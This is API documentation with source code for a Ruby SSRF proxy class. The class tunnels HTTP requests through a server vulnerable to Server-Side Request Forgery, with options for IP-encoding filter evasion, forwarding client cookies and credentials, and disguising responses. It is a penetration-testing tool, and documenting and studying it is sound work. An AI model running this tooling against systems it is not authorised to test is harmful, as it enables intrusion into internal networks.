class SSRFProxy::HTTP
SSRFProxy::HTTP
object takes information required to connect to a HTTP(S) server vulnerable to Server-Side Request Forgery (SSRF) and issue arbitrary HTTP
requests via the vulnerable server.
Once configured, the send_uri
and send_request
methods can be used to tunnel HTTP
requests through the vulnerable server.
Several request modification options can be used to format the HTTP
request appropriately for the SSRF vector and the destination web server accessed via the SSRF.
Several response modification options can be used to infer information about the response from the destination server and format the response such that the vulnerable intermediary server is mostly transparent to the client initiating the HTTP
request.
Refer to the wiki for more information about configuring the SSRF, requestion modification, response modification, and example configurations: github.com/bcoles/ssrf_proxy/wiki/Configuration
Attributes
@return [Hash] SSRF request HTTP
headers
@return [Logger] logger
@return [String] SSRF request HTTP
method
@return [String] SSRF request HTTP
body
@return [URI] upstream proxy
@return [URI] SSRF URL
Public Class Methods
SSRFProxy::HTTP
accepts SSRF connection information, and configuration options for request modification and response modification.
@param url [String] Target URL vulnerable to SSRF
@param file [String] Load HTTP
request from a file
@param proxy [String] Use a proxy to connect to the server.
(Supported proxies: http, https, socks)
@param ssl [Boolean] Connect using SSL/TLS
@param method [String] HTTP
method (GET/HEAD/DELETE/POST/PUT/OPTIONS)
(Default: GET)
@param post_data
[String] HTTP
post data
@param user [String] HTTP
basic authentication credentials
@param rules [String] Rules for parsing client request
(separated by ',') (Default: none)
@param no_urlencode [Boolean] Do not URL encode client request
@param ip_encoding [String] Encode client request host IP address.
(Modes: int, ipv6, oct, hex, dotted_hex)
@param match [String] Regex to match response body content.
(Default: \A(.*)\z)
@param strip [String] Headers to remove from the response.
(separated by ',') (Default: none)
@param decode_html [Boolean] Decode HTML entities in response body
@param unescape [Boolean] Unescape special characters in response body
@param guess_status
[Boolean] Replaces response status code and message
headers (determined by common strings in the response body, such as 404 Not Found.)
@param guess_mime
[Boolean] Replaces response content-type header with the
appropriate mime type (determined by the file extension of the requested resource.)
@param sniff_mime
[Boolean] Replaces response content-type header with the
appropriate mime type (determined by magic bytes in the response body.)
@param timeout_ok [Boolean] Replaces timeout HTTP
status code 504 with 200.
@param detect_headers [Boolean] Replaces response headers if response headers
are identified in the response body.
@param fail_no_content [Boolean] Return HTTP
status 502 if response body
is empty.
@param forward_method [Boolean] Forward client request method
@param forward_headers [Boolean] Forward all client request headers
@param forward_body [Boolean] Forward client request body
@param forward_cookies [Boolean] Forward client request cookies
@param body_to_uri [Boolean] Add client request body to URI query string
@param auth_to_uri [Boolean] Use client request basic authentication
credentials in request URI.
@param cookies_to_uri [Boolean] Add client request cookies to URI query string
@param cache_buster [Boolean] Append a random value to the client request
query string
@param timeout [Integer] Connection timeout in seconds (Default: 10)
@param user_agent [String] HTTP
user-agent (Default: none)
@param insecure [Boolean] Skip server SSL certificate validation
@example Configure SSRF with URL, GET method
SSRFProxy::HTTP.new(url: 'http://example.local/?url=xxURLxx')
@example Configure SSRF with URL, POST method
SSRFProxy::HTTP.new(url: 'http://example.local/', method: 'POST', post_data: 'url=xxURLxx')
@example Configure SSRF with raw HTTP
request file
SSRFProxy::HTTP.new(file: 'ssrf.txt')
@example Configure SSRF with raw HTTP
request file and force SSL/TLS
SSRFProxy::HTTP.new(file: 'ssrf.txt', ssl: true)
@example Configure SSRF with raw HTTP
request StringIO
SSRFProxy::HTTP.new(file: StringIO.new("GET http://example.local/?url=xxURLxx HTTP/1.1\n\n"))
@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequest]
Invalid SSRF request specified.
@raise [SSRFProxy::HTTP::Error::InvalidUpstreamProxy]
Invalid upstream proxy specified.
@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod]
Invalid SSRF request method specified. Supported methods: GET, HEAD, DELETE, POST, PUT, OPTIONS.
@raise [SSRFProxy::HTTP::Error::NoUrlPlaceholder]
'xxURLxx' URL placeholder must be specified in the SSRF request URL or body.
@raise [SSRFProxy::HTTP::Error::InvalidIpEncoding]
Invalid IP encoding method specified.
# File lib/ssrf_proxy/http.rb 183 def initialize(url: nil, 184 file: nil, 185 proxy: nil, 186 ssl: false, 187 method: 'GET', 188 placeholder: 'xxURLxx', 189 post_data: nil, 190 rules: nil, 191 no_urlencode: false, 192 ip_encoding: nil, 193 match: '\A(.*)\z', 194 strip: nil, 195 decode_html: false, 196 unescape: false, 197 guess_mime: false, 198 sniff_mime: false, 199 guess_status: false, 200 cors: false, 201 timeout_ok: false, 202 detect_headers: false, 203 fail_no_content: false, 204 forward_method: false, 205 forward_headers: false, 206 forward_body: false, 207 forward_cookies: false, 208 body_to_uri: false, 209 auth_to_uri: false, 210 cookies_to_uri: false, 211 cache_buster: false, 212 cookie: nil, 213 user: nil, 214 timeout: 10, 215 user_agent: nil, 216 insecure: false) 217 218 @SUPPORTED_METHODS = %w[GET HEAD DELETE POST PUT OPTIONS].freeze 219 @SUPPORTED_IP_ENCODINGS = %w[int ipv6 oct hex dotted_hex].freeze 220 221 @logger = ::Logger.new(STDOUT).tap do |log| 222 log.progname = 'ssrf-proxy' 223 log.level = ::Logger::WARN 224 log.datetime_format = '%Y-%m-%d %H:%M:%S ' 225 end 226 227 # SSRF configuration options 228 @proxy = nil 229 @placeholder = placeholder.to_s || 'xxURLxx' 230 @method = 'GET' 231 @headers ||= {} 232 @post_data = post_data.to_s || '' 233 @rules = rules.to_s.split(/,/) || [] 234 @no_urlencode = no_urlencode || false 235 236 # client request modification 237 @ip_encoding = nil 238 @forward_method = forward_method || false 239 @forward_headers = forward_headers || false 240 @forward_body = forward_body || false 241 @forward_cookies = forward_cookies || false 242 @body_to_uri = body_to_uri || false 243 @auth_to_uri = auth_to_uri || false 244 @cookies_to_uri = cookies_to_uri || false 245 @cache_buster = cache_buster || false 246 247 # SSRF connection options 248 @user = '' 249 @pass = '' 250 @timeout = timeout.to_i || 10 251 @insecure = insecure || false 252 253 # HTTP response modification options 254 @match_regex = match.to_s || '\A(.*)\z' 255 @strip = strip.to_s.downcase.split(/,/) || [] 256 @decode_html = decode_html || false 257 @unescape = unescape || false 258 @guess_status = guess_status || false 259 @guess_mime = guess_mime || false 260 @sniff_mime = sniff_mime || false 261 @detect_headers = detect_headers || false 262 @fail_no_content = fail_no_content || false 263 @timeout_ok = timeout_ok || false 264 @cors = cors || false 265 266 # ensure either a URL or file path was provided 267 if url.to_s.eql?('') && file.to_s.eql?('') 268 raise ArgumentError, 269 "Option 'url' or 'file' must be provided." 270 end 271 272 # parse HTTP request file 273 unless file.to_s.eql?('') 274 unless url.to_s.eql?('') 275 raise ArgumentError, 276 "Options 'url' and 'file' are mutually exclusive." 277 end 278 279 if file.is_a?(String) 280 if File.exist?(file) && File.readable?(file) 281 http = File.read(file).to_s 282 else 283 raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new, 284 "Invalid SSRF request specified : Could not read file #{file.inspect}" 285 end 286 elsif file.is_a?(StringIO) 287 http = file.read 288 end 289 290 req = parse_http_request(http) 291 url = req['uri'] 292 @method = req['method'] 293 @headers = {} 294 req['headers'].each do |k, v| 295 @headers[k.downcase] = v.flatten.first 296 end 297 @headers.delete('host') 298 @post_data = req['body'] 299 end 300 301 # parse target URL 302 begin 303 @url = URI.parse(url.to_s) 304 rescue URI::InvalidURIError 305 raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new, 306 'Invalid SSRF request specified : Could not parse URL.' 307 end 308 309 if @url.scheme.nil? || @url.host.nil? || @url.port.nil? 310 raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new, 311 'Invalid SSRF request specified : Invalid URL.' 312 end 313 314 unless @url.scheme.eql?('http') || @url.scheme.eql?('https') 315 raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new, 316 'Invalid SSRF request specified : URL scheme must be http(s).' 317 end 318 319 if proxy 320 begin 321 @proxy = URI.parse(proxy.to_s) 322 rescue URI::InvalidURIError 323 raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new, 324 'Invalid upstream proxy specified.' 325 end 326 if @proxy.host.nil? || @proxy.port.nil? 327 raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new, 328 'Invalid upstream proxy specified.' 329 end 330 if @proxy.scheme !~ /\A(socks|https?)\z/ 331 raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new, 332 'Unsupported upstream proxy specified. ' \ 333 'Scheme must be http(s) or socks.' 334 end 335 end 336 337 if ssl 338 @url.scheme = 'https' 339 end 340 341 if method 342 case method.to_s.downcase 343 when 'get' 344 @method = 'GET' 345 when 'head' 346 @method = 'HEAD' 347 when 'delete' 348 @method = 'DELETE' 349 when 'post' 350 @method = 'POST' 351 when 'put' 352 @method = 'PUT' 353 when 'options' 354 @method = 'OPTIONS' 355 else 356 raise SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod.new, 357 'Invalid SSRF request method specified. ' \ 358 "Supported methods: #{@SUPPORTED_METHODS.join(', ')}." 359 end 360 end 361 362 if ip_encoding 363 unless @SUPPORTED_IP_ENCODINGS.include?(ip_encoding) 364 raise SSRFProxy::HTTP::Error::InvalidIpEncoding.new, 365 'Invalid IP encoding method specified.' 366 end 367 @ip_encoding = ip_encoding.to_s 368 end 369 370 if cookie 371 @headers['cookie'] = cookie.to_s 372 end 373 374 if user 375 if user.to_s =~ /^(.*?):(.*)/ 376 @user = $1 377 @pass = $2 378 else 379 @user = user.to_s 380 end 381 end 382 383 if user_agent 384 @headers['user-agent'] = user_agent 385 end 386 387 # Ensure a URL placeholder was provided 388 unless @url.request_uri.to_s.include?(@placeholder) || 389 @post_data.to_s.include?(@placeholder) || 390 @headers.to_s.include?(@placeholder) 391 raise SSRFProxy::HTTP::Error::NoUrlPlaceholder.new, 392 'You must specify a URL placeholder with ' \ 393 "'#{@placeholder}' in the SSRF request" 394 end 395 end
Public Instance Methods
Parse a raw HTTP
request as a string, then send the requested URL and HTTP
headers to send_uri
@param request [String] Raw HTTP
request @param use_ssl [Boolean] Connect using SSL/TLS
@return [Hash] HTTP
response hash (version, code, message, headers, body)
# File lib/ssrf_proxy/http.rb 467 def send_request(request, use_ssl: false) 468 req = parse_http_request(request) 469 req['uri'].scheme = 'https' if use_ssl 470 send_uri(req['uri'], 471 method: req['method'], 472 headers: req['headers'], 473 body: req['body']) 474 end
Fetch a URI via SSRF
@param [String] uri URI to fetch @param [String] method HTTP
request method @param [Hash] headers HTTP
request headers @param [String] body HTTP
request body
@raise [SSRFProxy::HTTP::Error::InvalidClientRequest]
An invalid client HTTP request was supplied.
@return [Hash] HTTP
response hash (version, code, message, headers, body, etc)
# File lib/ssrf_proxy/http.rb 489 def send_uri(uri, method: 'GET', headers: {}, body: '') 490 uri = uri.to_s 491 body = body.to_s 492 headers = {} unless headers.is_a?(Hash) 493 494 # validate url 495 unless uri.start_with?('http://', 'https://') 496 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 497 'Invalid request URI' 498 end 499 500 # set request method 501 if @forward_method 502 if @SUPPORTED_METHODS.include?(method) 503 request_method = method 504 else 505 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 506 "Request method '#{method}' is not supported" 507 end 508 else 509 request_method = @method 510 end 511 512 # parse request headers 513 client_headers = {} 514 headers.each do |k, v| 515 if v.is_a?(Array) 516 client_headers[k.downcase] = v.flatten.first 517 elsif v.is_a?(String) 518 client_headers[k.downcase] = v.to_s 519 else 520 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 521 "Request header #{k.inspect} value is malformed: #{v}" 522 end 523 end 524 525 # reject websocket requests 526 if client_headers['upgrade'].to_s.start_with?('WebSocket') 527 logger.warn('WebSocket tunneling is not supported') 528 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 529 'WebSocket tunneling is not supported' 530 end 531 532 # copy request body to URL 533 if @body_to_uri && !body.eql?('') 534 logger.debug("Parsing request body: #{body}") 535 separator = uri.include?('?') ? '&' : '?' 536 uri = "#{uri}#{separator}#{body}" 537 logger.info("Added request body to URI: #{body.inspect}") 538 end 539 540 # copy basic authentication credentials to uri 541 if @auth_to_uri && client_headers['authorization'].to_s.downcase.start_with?('basic ') 542 logger.debug("Parsing basic authentication header: #{client_headers['authorization']}") 543 begin 544 creds = client_headers['authorization'].split(' ')[1] 545 user = Base64.decode64(creds).chomp 546 uri = uri.gsub!(%r{://}, "://#{CGI.escape(user).gsub(/\+/, '%20').gsub('%3A', ':')}@") 547 logger.info("Using basic authentication credentials: #{user}") 548 rescue 549 logger.warn('Could not parse request authorization header: ' \ 550 "#{client_headers['authorization']}") 551 end 552 end 553 554 # copy cookies to uri 555 cookies = [] 556 if @cookies_to_uri && !client_headers['cookie'].nil? 557 logger.debug("Parsing request cookies: #{client_headers['cookie']}") 558 client_headers['cookie'].split(/;\s*/).each do |c| 559 cookies << c.to_s unless c.nil? 560 end 561 separator = uri.include?('?') ? '&' : '?' 562 uri = "#{uri}#{separator}#{cookies.join('&')}" 563 logger.info("Added cookies to URI: #{cookies.join('&')}") 564 end 565 566 # add cache buster 567 if @cache_buster 568 separator = uri.include?('?') ? '&' : '?' 569 junk = "#{rand(36**6).to_s(36)}=#{rand(36**6).to_s(36)}" 570 uri = "#{uri}#{separator}#{junk}" 571 end 572 573 # set request headers 574 request_headers = @headers.dup 575 576 # forward request cookies 577 new_cookie = [] 578 new_cookie << @headers['cookie'] unless @headers['cookie'].to_s.eql?('') 579 if @forward_cookies && !client_headers['cookie'].nil? 580 client_headers['cookie'].split(/;\s*/).each do |c| 581 new_cookie << c.to_s unless c.nil? 582 end 583 end 584 unless new_cookie.empty? 585 request_headers['cookie'] = new_cookie.uniq.join('; ') 586 logger.info("Using cookie: #{new_cookie.join('; ')}") 587 end 588 589 # forward request headers and strip proxy headers 590 if @forward_headers && !client_headers.empty? 591 client_headers.each do |k, v| 592 next if k.eql?('proxy-connection') 593 next if k.eql?('proxy-authorization') 594 if v.is_a?(Array) 595 request_headers[k.downcase] = v.flatten.first 596 elsif v.is_a?(String) 597 request_headers[k.downcase] = v.to_s 598 end 599 end 600 end 601 602 # encode target host ip 603 ip_encoded_uri = @ip_encoding ? encode_ip(uri, @ip_encoding) : uri 604 605 # run request URI through rules 606 target_uri = run_rules(ip_encoded_uri, @rules).to_s 607 608 # URL encode target URI 609 unless @no_urlencode 610 target_uri = CGI.escape(target_uri).gsub(/\+/, '%20').to_s 611 end 612 613 # set path and query string 614 if @url.query.to_s.eql?('') 615 ssrf_url = @url.path.to_s 616 else 617 ssrf_url = "#{@url.path}?#{@url.query}" 618 end 619 620 # replace xxURLxx placeholder in request URL 621 ssrf_url.gsub!(/#{@placeholder}/, target_uri) 622 623 # replace xxURLxx placeholder in request body 624 post_data = @post_data.gsub(/#{@placeholder}/, target_uri) 625 626 # set request body 627 if @forward_body && !body.eql?('') 628 request_body = post_data.eql?('') ? body : "#{post_data}&#{body}" 629 else 630 request_body = post_data 631 end 632 633 # replace xxURLxx in request header values 634 request_headers.each do |k, v| 635 request_headers[k] = v.gsub(/#{@placeholder}/, target_uri) 636 end 637 638 # set content type 639 if request_headers['content-type'].nil? && !request_body.eql?('') 640 request_headers['content-type'] = 'application/x-www-form-urlencoded' 641 end 642 643 # set content length 644 request_headers['content-length'] = request_body.length.to_s 645 646 # send request 647 response = nil 648 start_time = Time.now 649 begin 650 response = send_http_request(ssrf_url, 651 request_method, 652 request_headers, 653 request_body) 654 if response['content-encoding'].to_s.downcase.eql?('gzip') && response.body 655 begin 656 sio = StringIO.new(response.body) 657 gz = Zlib::GzipReader.new(sio) 658 response.body = gz.read 659 rescue 660 logger.warn('Could not decompress response body') 661 end 662 end 663 664 result = { 'url' => uri, 665 'http_version' => response.http_version, 666 'code' => response.code, 667 'message' => response.message, 668 'headers' => '', 669 'body' => response.body.to_s || '' } 670 rescue SSRFProxy::HTTP::Error::ConnectionTimeout => e 671 unless @timeout_ok 672 raise SSRFProxy::HTTP::Error::ConnectionTimeout, e.message 673 end 674 result = { 'url' => uri, 675 'http_version' => '1.0', 676 'code' => 200, 677 'message' => 'Timeout', 678 'headers' => '', 679 'body' => '' } 680 logger.info('Changed HTTP status code 504 to 200') 681 end 682 683 # set duration 684 end_time = Time.now 685 duration = ((end_time - start_time) * 1000).round(3) 686 result['duration'] = duration 687 688 # body content encoding 689 result['body'].force_encoding('BINARY') 690 unless result['body'].valid_encoding? 691 begin 692 result['body'] = result['body'].encode( 693 'UTF-8', 694 'binary', 695 :invalid => :replace, 696 :undef => :replace, 697 :replace => '' 698 ) 699 rescue 700 end 701 end 702 703 logger.info("Received #{result['body'].bytes.length} bytes in #{duration} ms") 704 705 # match response content 706 unless @match_regex.nil? 707 matches = result['body'].scan(/#{@match_regex}/m) 708 if !matches.empty? 709 result['body'] = matches.flatten.first.to_s 710 logger.info("Response body matches pattern '#{@match_regex}'") 711 else 712 result['body'] = '' 713 logger.warn("Response body does not match pattern '#{@match_regex}'") 714 end 715 end 716 717 # return 502 if matched response body is empty 718 if @fail_no_content 719 if result['body'].to_s.eql?('') 720 result['code'] = 502 721 result['message'] = 'Bad Gateway' 722 result['status_line'] = "HTTP/#{result['http_version']} #{result['code']} #{result['message']}" 723 return result 724 end 725 end 726 727 # unescape response body 728 if @unescape 729 # unescape slashes 730 result['body'] = result['body'].tr('\\', '\\') 731 result['body'] = result['body'].gsub('\\/', '/') 732 # unescape whitespace 733 result['body'] = result['body'].gsub('\r', "\r") 734 result['body'] = result['body'].gsub('\n', "\n") 735 result['body'] = result['body'].gsub('\t', "\t") 736 # unescape quotes 737 result['body'] = result['body'].gsub('\"', '"') 738 result['body'] = result['body'].gsub("\\'", "'") 739 end 740 741 # decode HTML entities 742 if @decode_html 743 result['body'] = HTMLEntities.new.decode(result['body']) 744 end 745 746 # set title 747 result['title'] = result['body'][0..8192] =~ %r{<title>([^<]*)</title>}im ? $1.to_s : '' 748 749 # guess HTTP response code and message 750 if @guess_status 751 head = result['body'][0..8192] 752 status = guess_status(head) 753 unless status.empty? 754 result['code'] = status['code'] 755 result['message'] = status['message'] 756 logger.info("Using HTTP response status: #{result['code']} #{result['message']}") 757 end 758 end 759 760 # replace timeout response with 200 OK 761 if @timeout_ok 762 if result['code'].eql?('504') 763 logger.info('Changed HTTP status code 504 to 200') 764 result['code'] = 200 765 end 766 end 767 768 # detect headers in response body 769 if @detect_headers 770 headers = '' 771 head = result['body'][0..8192] # use first 8192 byes 772 detected_headers = head.scan(%r{HTTP/(1\.\d) (\d+) (.*?)\r?\n(.*?)\r?\n\r?\n}m) 773 774 if detected_headers.empty? 775 logger.info('Found no HTTP response headers in response body.') 776 else 777 # HTTP redirects may contain more than one set of HTTP response headers 778 # Use the last 779 logger.info("Found #{detected_headers.count} sets of HTTP response headers in reponse. Using last.") 780 version = detected_headers.last[0] 781 code = detected_headers.last[1] 782 message = detected_headers.last[2] 783 detected_headers.last[3].split(/\r?\n/).each do |line| 784 if line =~ /^[A-Za-z0-9\-_\.]+: / 785 k = line.split(': ').first 786 v = line.split(': ')[1..-1].flatten.first 787 headers << "#{k}: #{v}\n" 788 else 789 logger.warn('Could not use response headers in response body : Headers are malformed.') 790 headers = '' 791 break 792 end 793 end 794 end 795 unless headers.eql?('') 796 result['http_version'] = version 797 result['code'] = code.to_i 798 result['message'] = message 799 result['headers'] = headers 800 result['body'] = result['body'].split(/\r?\n\r?\n/)[detected_headers.count..-1].flatten.join("\n\n") 801 end 802 end 803 804 # set status line 805 result['status_line'] = "HTTP/#{result['http_version']} #{result['code']} #{result['message']}" 806 807 # strip unwanted HTTP response headers 808 unless response.nil? 809 response.each_header do |header_name, header_value| 810 if header_name.downcase.eql?('content-encoding') 811 next if header_value.downcase.eql?('gzip') 812 end 813 814 if @strip.include?(header_name.downcase) 815 logger.info("Removed response header: #{header_name}") 816 next 817 end 818 result['headers'] << "#{header_name}: #{header_value}\n" 819 end 820 end 821 822 # add wildcard CORS header 823 if @cors 824 result['headers'] << "Access-Control-Allow-Origin: *\n" 825 end 826 827 # advise client to close HTTP connection 828 if result['headers'] =~ /^connection:.*$/i 829 result['headers'].gsub!(/^connection:.*$/i, 'Connection: close') 830 else 831 result['headers'] << "Connection: close\n" 832 end 833 834 # guess mime type and add content-type header 835 content_type = nil 836 if @sniff_mime 837 head = result['body'][0..8192] # use first 8192 byes 838 content_type = sniff_mime(head) 839 if content_type.nil? 840 content_type = guess_mime(File.extname(uri.to_s.split('?').first)) 841 end 842 elsif @guess_mime 843 content_type = guess_mime(File.extname(uri.to_s.split('?').first)) 844 end 845 846 unless content_type.nil? 847 logger.info("Using content-type: #{content_type}") 848 if result['headers'] =~ /^content\-type:.*$/i 849 result['headers'].gsub!(/^content\-type:.*$/i, 850 "Content-Type: #{content_type}") 851 else 852 result['headers'] << "Content-Type: #{content_type}\n" 853 end 854 end 855 856 # prompt for password if unauthorised 857 if result['code'] == 401 858 if result['headers'] !~ /^WWW-Authenticate:.*$/i 859 auth_uri = URI.parse(uri.to_s.split('?').first) 860 realm = "#{auth_uri.host}:#{auth_uri.port}" 861 result['headers'] << "WWW-Authenticate: Basic realm=\"#{realm}\"\n" 862 logger.info("Added WWW-Authenticate header for realm: #{realm}") 863 end 864 end 865 866 # set location header if redirected 867 if result['code'] == 301 || result['code'] == 302 868 if result['headers'] !~ /^location:.*$/i 869 location = nil 870 if result['body'] =~ /This document may be found <a href="(.+)">/i 871 location = $1 872 elsif result['body'] =~ /The document has moved <a href="(.+)">/i 873 location = $1 874 end 875 unless location.nil? 876 result['headers'] << "Location: #{location}\n" 877 logger.info("Added Location header: #{location}") 878 end 879 end 880 end 881 882 # set content length 883 content_length = result['body'].length 884 if result['headers'] =~ /^transfer\-encoding:.*$/i 885 result['headers'].gsub!(/^transfer\-encoding:.*$/i, 886 "Content-Length: #{content_length}") 887 elsif result['headers'] =~ /^content\-length:.*$/i 888 result['headers'].gsub!(/^content\-length:.*$/i, 889 "Content-Length: #{content_length}") 890 else 891 result['headers'] << "Content-Length: #{content_length}\n" 892 end 893 894 # return HTTP response 895 logger.debug("Response:\n" \ 896 "#{result['status_line']}\n" \ 897 "#{result['headers']}\n" \ 898 "#{result['body']}") 899 result 900 end
Private Instance Methods
Encode IP address of a given URL
@param [String] url target URL @param [String] mode encoding (int, ipv6, oct, hex, dotted_hex)
@return [String] encoded IP address
# File lib/ssrf_proxy/http.rb 910 def encode_ip(url, mode) 911 return if url.nil? 912 new_host = nil 913 host = URI.parse(url.to_s.split('?').first).host.to_s 914 begin 915 ip = IPAddress::IPv4.new(host) 916 rescue 917 logger.warn("Could not parse requested host as IPv4 address: #{host}") 918 return url 919 end 920 case mode 921 when 'int' 922 new_host = url.to_s.gsub(host, ip.to_u32.to_s) 923 when 'ipv6' 924 new_host = url.to_s.gsub(host, "[#{ip.to_ipv6}]") 925 when 'oct' 926 new_host = url.to_s.gsub(host, "0#{ip.to_u32.to_s(8)}") 927 when 'hex' 928 new_host = url.to_s.gsub(host, "0x#{ip.to_u32.to_s(16)}") 929 when 'dotted_hex' 930 res = ip.octets.map { |i| "0x#{i.to_s(16).rjust(2, '0')}" }.join('.') 931 new_host = url.to_s.gsub(host, res.to_s) unless res.nil? 932 else 933 logger.warn("Invalid IP encoding: #{mode}") 934 end 935 new_host 936 end
Guess content type based on file extension
@param [String] ext File extension including dots
@example Return mime type for extension '.png'
guess_mime('favicon.png')
@return [String] content-type value
# File lib/ssrf_proxy/http.rb 1368 def guess_mime(ext) 1369 content_types = WEBrick::HTTPUtils::DefaultMimeTypes 1370 common_content_types = { 'ico' => 'image/x-icon' } 1371 content_types.merge!(common_content_types) 1372 content_types.each do |k, v| 1373 return v.to_s if ext.eql?(".#{k}") 1374 end 1375 nil 1376 end
Guess HTTP
response status code and message based on common strings in the response body such as a default title or exception error message
@param [String] response HTTP
response
@return [Hash] includes HTTP
response code and message
# File lib/ssrf_proxy/http.rb 1119 def guess_status(response) 1120 result = {} 1121 # response status code returned by php-simple-proxy and php-json-proxy 1122 if response =~ /"status":{"http_code":([\d]+)}/ 1123 result['code'] = $1 1124 result['message'] = '' 1125 # generic page titles containing HTTP status 1126 elsif response =~ />301 Moved</ || response =~ />Document Moved</ || response =~ />Object Moved</ || response =~ />301 Moved Permanently</ 1127 result['code'] = 301 1128 result['message'] = 'Document Moved' 1129 elsif response =~ />302 Found</ || response =~ />302 Moved Temporarily</ 1130 result['code'] = 302 1131 result['message'] = 'Found' 1132 elsif response =~ />400 Bad Request</ 1133 result['code'] = 400 1134 result['message'] = 'Bad Request' 1135 elsif response =~ />401 Unauthorized</ 1136 result['code'] = 401 1137 result['message'] = 'Unauthorized' 1138 elsif response =~ />403 Forbidden</ 1139 result['code'] = 403 1140 result['message'] = 'Forbidden' 1141 elsif response =~ />404 Not Found</ 1142 result['code'] = 404 1143 result['message'] = 'Not Found' 1144 elsif response =~ />The page is not found</ 1145 result['code'] = 404 1146 result['message'] = 'Not Found' 1147 elsif response =~ />413 Request Entity Too Large</ 1148 result['code'] = 413 1149 result['message'] = 'Request Entity Too Large' 1150 elsif response =~ />500 Internal Server Error</ 1151 result['code'] = 500 1152 result['message'] = 'Internal Server Error' 1153 elsif response =~ />503 Service Unavailable</ 1154 result['code'] = 503 1155 result['message'] = 'Service Unavailable' 1156 # getaddrinfo() errors 1157 elsif response =~ /getaddrinfo: / 1158 if response =~ /getaddrinfo: nodename nor servname provided/ 1159 result['code'] = 502 1160 result['message'] = 'Bad Gateway' 1161 elsif response =~ /getaddrinfo: Name or service not known/ 1162 result['code'] = 502 1163 result['message'] = 'Bad Gateway' 1164 end 1165 # getnameinfo() errors 1166 elsif response =~ /getnameinfo failed: / 1167 result['code'] = 502 1168 result['message'] = 'Bad Gateway' 1169 # PHP 'failed to open stream' errors 1170 elsif response =~ /failed to open stream: / 1171 # HTTP request failed! HTTP/[version] [code] [message] 1172 if response =~ %r{failed to open stream: HTTP request failed! HTTP\/(0\.9|1\.0|1\.1) ([\d]+) } 1173 result['code'] = $2.to_s 1174 result['message'] = '' 1175 if response =~ %r{failed to open stream: HTTP request failed! HTTP/(0\.9|1\.0|1\.1) [\d]+ ([a-zA-Z ]+)} 1176 result['message'] = $2.to_s 1177 end 1178 # No route to host 1179 elsif response =~ /failed to open stream: No route to host in/ 1180 result['code'] = 502 1181 result['message'] = 'Bad Gateway' 1182 # Connection refused 1183 elsif response =~ /failed to open stream: Connection refused in/ 1184 result['code'] = 502 1185 result['message'] = 'Bad Gateway' 1186 # Connection timed out 1187 elsif response =~ /failed to open stream: Connection timed out/ 1188 result['code'] = 504 1189 result['message'] = 'Timeout' 1190 # Success - This likely indicates an SSL/TLS connection failure 1191 elsif response =~ /failed to open stream: Success in/ 1192 result['code'] = 502 1193 result['message'] = 'Bad Gateway' 1194 end 1195 # Java 'java.net' exceptions 1196 elsif response =~ /java\.net\.[^\s]*Exception: / 1197 if response =~ /java\.net\.ConnectException: No route to host/ 1198 result['code'] = 502 1199 result['message'] = 'Bad Gateway' 1200 elsif response =~ /java\.net\.ConnectException: Connection refused/ 1201 result['code'] = 502 1202 result['message'] = 'Bad Gateway' 1203 elsif response =~ /java\.net\.ConnectException: Connection timed out/ 1204 result['code'] = 504 1205 result['message'] = 'Timeout' 1206 elsif response =~ /java\.net\.UnknownHostException: Invalid hostname/ 1207 result['code'] = 502 1208 result['message'] = 'Bad Gateway' 1209 elsif response =~ /java\.net\.SocketException: Network is unreachable/ 1210 result['code'] = 502 1211 result['message'] = 'Bad Gateway' 1212 elsif response =~ /java\.net\.SocketException: Connection reset/ 1213 result['code'] = 502 1214 result['message'] = 'Bad Gateway' 1215 elsif response =~ /java\.net\.SocketTimeoutException: Connection timed out/ 1216 result['code'] = 504 1217 result['message'] = 'Timeout' 1218 end 1219 # C errno 1220 elsif response =~ /\[Errno -?[\d]{1,5}\]/ 1221 if response =~ /\[Errno -2\] Name or service not known/ 1222 result['code'] = 502 1223 result['message'] = 'Bad Gateway' 1224 elsif response =~ /\[Errno 101\] Network is unreachable/ 1225 result['code'] = 502 1226 result['message'] = 'Bad Gateway' 1227 elsif response =~ /\[Errno 104\] Connection reset by peer/ 1228 result['code'] = 502 1229 result['message'] = 'Bad Gateway' 1230 elsif response =~ /\[Errno 110\] Connection timed out/ 1231 result['code'] = 504 1232 result['message'] = 'Timeout' 1233 elsif response =~ /\[Errno 111\] Connection refused/ 1234 result['code'] = 502 1235 result['message'] = 'Bad Gateway' 1236 elsif response =~ /\[Errno 113\] No route to host/ 1237 result['code'] = 502 1238 result['message'] = 'Bad Gateway' 1239 elsif response =~ /\[Errno 11004\] getaddrinfo failed/ 1240 result['code'] = 502 1241 result['message'] = 'Bad Gateway' 1242 elsif response =~ /\[Errno 10053\] An established connection was aborted/ 1243 result['code'] = 502 1244 result['message'] = 'Bad Gateway' 1245 elsif response =~ /\[Errno 10054\] An existing connection was forcibly closed/ 1246 result['code'] = 502 1247 result['message'] = 'Bad Gateway' 1248 elsif response =~ /\[Errno 10055\] An operation on a socket could not be performed/ 1249 result['code'] = 502 1250 result['message'] = 'Bad Gateway' 1251 elsif response =~ /\[Errno 10060\] A connection attempt failed/ 1252 result['code'] = 502 1253 result['message'] = 'Bad Gateway' 1254 elsif response =~ /\[Errno 10061\] No connection could be made/ 1255 result['code'] = 502 1256 result['message'] = 'Bad Gateway' 1257 end 1258 # Python urllib errors 1259 elsif response =~ /HTTPError: HTTP Error \d+/ 1260 if response =~ /HTTPError: HTTP Error 400: Bad Request/ 1261 result['code'] = 400 1262 result['message'] = 'Bad Request' 1263 elsif response =~ /HTTPError: HTTP Error 401: Unauthorized/ 1264 result['code'] = 401 1265 result['message'] = 'Unauthorized' 1266 elsif response =~ /HTTPError: HTTP Error 402: Payment Required/ 1267 result['code'] = 402 1268 result['message'] = 'Payment Required' 1269 elsif response =~ /HTTPError: HTTP Error 403: Forbidden/ 1270 result['code'] = 403 1271 result['message'] = 